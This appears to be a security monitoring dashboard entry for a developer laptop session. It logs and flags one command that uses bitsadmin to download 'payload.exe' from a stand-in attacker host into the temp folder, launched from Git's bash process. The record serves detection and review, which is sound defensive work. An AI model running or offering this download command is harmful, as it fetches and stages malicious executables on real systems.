Session
dev-laptop-bill-high-109290803
No notes yet. Leave the first one so the next reviewer inherits the context.
| Command | Reason | Process | When |
|---|---|---|---|
cmd.exe /c bitsadmin /transfer job http://evil.example/payload.exe %TEMP%\p.exe
|
bitsadmin transfer |
C:\Program Files\Git\usr\bin\bash.exe
pid 2044
|
2026-04-22T17:21:09.685563043Z |